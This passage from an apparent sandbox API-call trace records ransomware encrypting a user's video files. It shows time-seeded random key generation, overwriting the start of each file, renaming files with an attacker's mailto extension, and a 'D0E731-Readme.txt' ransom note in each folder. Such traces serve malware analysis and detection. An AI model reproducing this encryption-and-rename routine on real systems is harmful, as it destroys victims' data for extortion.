lpOverlapped=0x0) returned 1 [0175.205] WriteFile (in: hFile=0x530, lpBuffer=0x229ffeac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x229ffeac*, lpNumberOfBytesWritten=0x229ffe94*=0x4, lpOverlapped=0x0) returned 1 [0175.205] WriteFile (in: hFile=0x530, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x229ffe94*=0x4, lpOverlapped=0x0) returned 1 [0175.206] WriteFile (in: hFile=0x530, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x229ffe94*=0x6c, lpOverlapped=0x0) returned 1 [0175.206] WriteFile (in: hFile=0x530, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x229ffe94*=0x20, lpOverlapped=0x0) returned 1 [0175.206] WriteFile (in: hFile=0x530, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x229ffe94*=0x4, lpOverlapped=0x0) returned 1 [0175.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0175.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542d0) returned 1 [0175.206] CloseHandle (hObject=0x530) returned 1 [0175.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe2280 [0175.206] wcscpy (in: _Dest=0x2fe2280, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" [0175.206] wcscat (in: _Dest=0x2fe2280, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.206] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.207] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2280) returned 1 [0175.208] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee2e8 [0175.208] wcscpy (in: _Dest=0x2fee2e8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0175.208] wcscat (in: _Dest=0x2fee2e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0175.208] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0x20 [0175.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee2e8) returned 1 [0175.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0175.209] RtlExitUserThread (Status=0x1) Thread: id = 2421 os_tid = 0x5a8 [0175.210] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.210] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0175.211] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x22a7f7a8 | out: lpFileSize=0x22a7f7a8*=59938) returned 1 [0175.211] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0xea1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.211] ReadFile (in: hFile=0x530, lpBuffer=0x22a7f77c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x22a7f77c*, lpNumberOfBytesRead=0x22a7f778*=0x4, lpOverlapped=0x0) returned 1 [0175.212] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.212] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.212] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.212] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0175.212] NtQuerySystemTime (in: CurrentTime=0x22a7f754 | out: CurrentTime=0x22a7f754*=132121213325295956) returned 0x0 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x37c1070e [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x33e7cbf [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x45ae5add [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x29abe9d8 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xf36a0e18 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xe2db4207 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x6d4b153 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x7d31ddda [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xb8f979a7 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xce2f1585 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x927bb204 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xadfcac4e [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xf80c91ab [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xa181a70f [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x1d7ebf4b [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x1bce2159 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x9ff0613 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x9db720f1 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xd57dd25d [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x961e8150 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x2a29a661 [0175.212] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xa7b7c098 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xbf1894c [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x9332b4b0 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x1fec56d0 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xafe2e988 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x99b153db [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xfeef4163 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0x616c01c7 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xbcedf008 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xf789bb83 [0175.213] RtlRandom (in: Seed=0x22a7f760 | out: Seed=0x22a7f760) returned 0xd1c97ff6 [0175.223] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.223] ReadFile (in: hFile=0x530, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22a7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22a7f72c*=0x4096, lpOverlapped=0x0) returned 1 [0175.224] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.224] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542f8 [0175.224] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0175.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0175.225] WriteFile (in: hFile=0x530, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22a7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22a7f72c*=0x4096, lpOverlapped=0x0) returned 1 [0175.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.225] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0xea22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.225] WriteFile (in: hFile=0x530, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22a7f764, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x22a7f764*=0x20, lpOverlapped=0x0) returned 1 [0175.226] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.226] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x30542d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x30542d0*, lpNumberOfBytesWritten=0x22a7f778*=0x8, lpOverlapped=0x0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x22a7f790*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x22a7f790*, lpNumberOfBytesWritten=0x22a7f778*=0x4, lpOverlapped=0x0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22a7f778*=0x4, lpOverlapped=0x0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22a7f778*=0x6c, lpOverlapped=0x0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x22a7f778*=0x20, lpOverlapped=0x0) returned 1 [0175.226] WriteFile (in: hFile=0x530, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22a7f778, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22a7f778*=0x4, lpOverlapped=0x0) returned 1 [0175.226] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542a8) returned 1 [0175.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542d0) returned 1 [0175.227] CloseHandle (hObject=0x530) returned 1 [0175.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x118) returned 0x2f95940 [0175.227] wcscpy (in: _Dest=0x2f95940, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" [0175.227] wcscat (in: _Dest=0x2f95940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.227] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.228] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95940) returned 1 [0175.228] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee588 [0175.228] wcscpy (in: _Dest=0x2fee588, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0175.228] wcscat (in: _Dest=0x2fee588, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0175.228] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0x20 [0175.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee588) returned 1 [0175.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f973d8) returned 1 [0175.228] RtlExitUserThread (Status=0x1) Thread: id = 2422 os_tid = 0xcc4 [0175.232] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.233] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0175.233] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x22affca4 | out: lpFileSize=0x22affca4*=75891) returned 1 [0175.233] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x1286f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.233] ReadFile (in: hFile=0x530, lpBuffer=0x22affc78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22affc74, lpOverlapped=0x0 | out: lpBuffer=0x22affc78*, lpNumberOfBytesRead=0x22affc74*=0x4, lpOverlapped=0x0) returned 1 [0175.234] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542a8 [0175.234] NtQuerySystemTime (in: CurrentTime=0x22affc50 | out: CurrentTime=0x22affc50*=132121213325452002) returned 0x0 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xebf7e349 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xf44dbd88 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x45bad46d [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xb34e8bac [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x48297ed [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x17f136d3 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x42acfb7e [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xb46edd09 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xc1a3cb8d [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xaa576ced [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x91936e52 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x1aede231 [0175.234] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x1b52deee [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x59dd9d1e [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x6fe2cd86 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x7a62a8cd [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xc320ef56 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x9f8aac26 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xa5bce99d [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xa6c57369 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xfcfc2028 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x3f765ebb [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x3e71dc90 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xdf2b1bdf [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x8bae476 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xd7494de6 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x324cfe59 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xd62214db [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xd2723974 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0xf93b18f5 [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x24f24d8c [0175.235] RtlRandom (in: Seed=0x22affc5c | out: Seed=0x22affc5c) returned 0x848797f9 [0175.246] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.246] ReadFile (in: hFile=0x530, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22affc28, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22affc28*=0x4096, lpOverlapped=0x0) returned 1 [0175.246] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0175.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.247] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.247] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.247] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0175.247] WriteFile (in: hFile=0x530, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22affc28, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22affc28*=0x4096, 